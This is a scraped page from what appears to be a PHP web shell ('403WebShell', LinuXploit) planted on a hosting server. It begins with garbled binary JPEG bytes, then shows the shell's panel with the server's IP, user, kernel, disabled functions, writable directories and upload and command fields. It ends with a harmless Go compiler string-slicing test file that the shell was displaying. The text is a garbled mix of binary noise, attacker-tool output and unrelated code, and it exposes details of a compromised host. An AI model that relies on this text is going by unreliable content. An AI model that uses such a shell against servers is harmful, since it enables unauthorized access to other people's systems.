JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.222.222.66  /  Your IP : 216.73.217.109
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./opt/golang/1.22.0/src/cmd/compile/internal/test/testdata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./opt/golang/1.22.0/src/cmd/compile/internal/test/testdata/string_test.go
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// string_ssa.go tests string operations.
package main

import "testing"

//go:noinline
func testStringSlice1_ssa(a string, i, j int) string {
	return a[i:]
}

//go:noinline
func testStringSlice2_ssa(a string, i, j int) string {
	return a[:j]
}

//go:noinline
func testStringSlice12_ssa(a string, i, j int) string {
	return a[i:j]
}

func testStringSlice(t *testing.T) {
	tests := [...]struct {
		fn        func(string, int, int) string
		s         string
		low, high int
		want      string
	}{
		// -1 means the value is not used.
		{testStringSlice1_ssa, "foobar", 0, -1, "foobar"},
		{testStringSlice1_ssa, "foobar", 3, -1, "bar"},
		{testStringSlice1_ssa, "foobar", 6, -1, ""},
		{testStringSlice2_ssa, "foobar", -1, 0, ""},
		{testStringSlice2_ssa, "foobar", -1, 3, "foo"},
		{testStringSlice2_ssa, "foobar", -1, 6, "foobar"},
		{testStringSlice12_ssa, "foobar", 0, 6, "foobar"},
		{testStringSlice12_ssa, "foobar", 0, 0, ""},
		{testStringSlice12_ssa, "foobar", 6, 6, ""},
		{testStringSlice12_ssa, "foobar", 1, 5, "ooba"},
		{testStringSlice12_ssa, "foobar", 3, 3, ""},
		{testStringSlice12_ssa, "", 0, 0, ""},
	}

	for i, test := range tests {
		if got := test.fn(test.s, test.low, test.high); test.want != got {
			t.Errorf("#%d %s[%d,%d] = %s, want %s", i, test.s, test.low, test.high, got, test.want)
		}
	}
}

type prefix struct {
	prefix string
}

func (p *prefix) slice_ssa() {
	p.prefix = p.prefix[:3]
}

//go:noinline
func testStructSlice(t *testing.T) {
	p := &prefix{"prefix"}
	p.slice_ssa()
	if "pre" != p.prefix {
		t.Errorf("wrong field slice: wanted %s got %s", "pre", p.prefix)
	}
}

func testStringSlicePanic(t *testing.T) {
	defer func() {
		if r := recover(); r != nil {
			//println("panicked as expected")
		}
	}()

	str := "foobar"
	t.Errorf("got %s and expected to panic, but didn't", testStringSlice12_ssa(str, 3, 9))
}

const _Accuracy_name = "BelowExactAbove"

var _Accuracy_index = [...]uint8{0, 5, 10, 15}

//go:noinline
func testSmallIndexType_ssa(i int) string {
	return _Accuracy_name[_Accuracy_index[i]:_Accuracy_index[i+1]]
}

func testSmallIndexType(t *testing.T) {
	tests := []struct {
		i    int
		want string
	}{
		{0, "Below"},
		{1, "Exact"},
		{2, "Above"},
	}

	for i, test := range tests {
		if got := testSmallIndexType_ssa(test.i); got != test.want {
			t.Errorf("#%d got %s wanted %s", i, got, test.want)
		}
	}
}

//go:noinline
func testInt64Index_ssa(s string, i int64) byte {
	return s[i]
}

//go:noinline
func testInt64Slice_ssa(s string, i, j int64) string {
	return s[i:j]
}

func testInt64Index(t *testing.T) {
	tests := []struct {
		i int64
		j int64
		b byte
		s string
	}{
		{0, 5, 'B', "Below"},
		{5, 10, 'E', "Exact"},
		{10, 15, 'A', "Above"},
	}

	str := "BelowExactAbove"
	for i, test := range tests {
		if got := testInt64Index_ssa(str, test.i); got != test.b {
			t.Errorf("#%d got %d wanted %d", i, got, test.b)
		}
		if got := testInt64Slice_ssa(str, test.i, test.j); got != test.s {
			t.Errorf("#%d got %s wanted %s", i, got, test.s)
		}
	}
}

func testInt64IndexPanic(t *testing.T) {
	defer func() {
		if r := recover(); r != nil {
			//println("panicked as expected")
		}
	}()

	str := "foobar"
	t.Errorf("got %d and expected to panic, but didn't", testInt64Index_ssa(str, 1<<32+1))
}

func testInt64SlicePanic(t *testing.T) {
	defer func() {
		if r := recover(); r != nil {
			//println("panicked as expected")
		}
	}()

	str := "foobar"
	t.Errorf("got %s and expected to panic, but didn't", testInt64Slice_ssa(str, 1<<32, 1<<32+1))
}

//go:noinline
func testStringElem_ssa(s string, i int) byte {
	return s[i]
}

func testStringElem(t *testing.T) {
	tests := []struct {
		s string
		i int
		n byte
	}{
		{"foobar", 3, 98},
		{"foobar", 0, 102},
		{"foobar", 5, 114},
	}
	for _, test := range tests {
		if got := testStringElem_ssa(test.s, test.i); got != test.n {
			t.Errorf("testStringElem \"%s\"[%d] = %d, wanted %d", test.s, test.i, got, test.n)
		}
	}
}

//go:noinline
func testStringElemConst_ssa(i int) byte {
	s := "foobar"
	return s[i]
}

func testStringElemConst(t *testing.T) {
	if got := testStringElemConst_ssa(3); got != 98 {
		t.Errorf("testStringElemConst= %d, wanted 98", got)
	}
}

func TestString(t *testing.T) {
	testStringSlice(t)
	testStringSlicePanic(t)
	testStructSlice(t)
	testSmallIndexType(t)
	testStringElem(t)
	testStringElemConst(t)
	testInt64Index(t)
	testInt64IndexPanic(t)
	testInt64SlicePanic(t)
}

Youez - 2016 - github.com/yon3zu
LinuXploit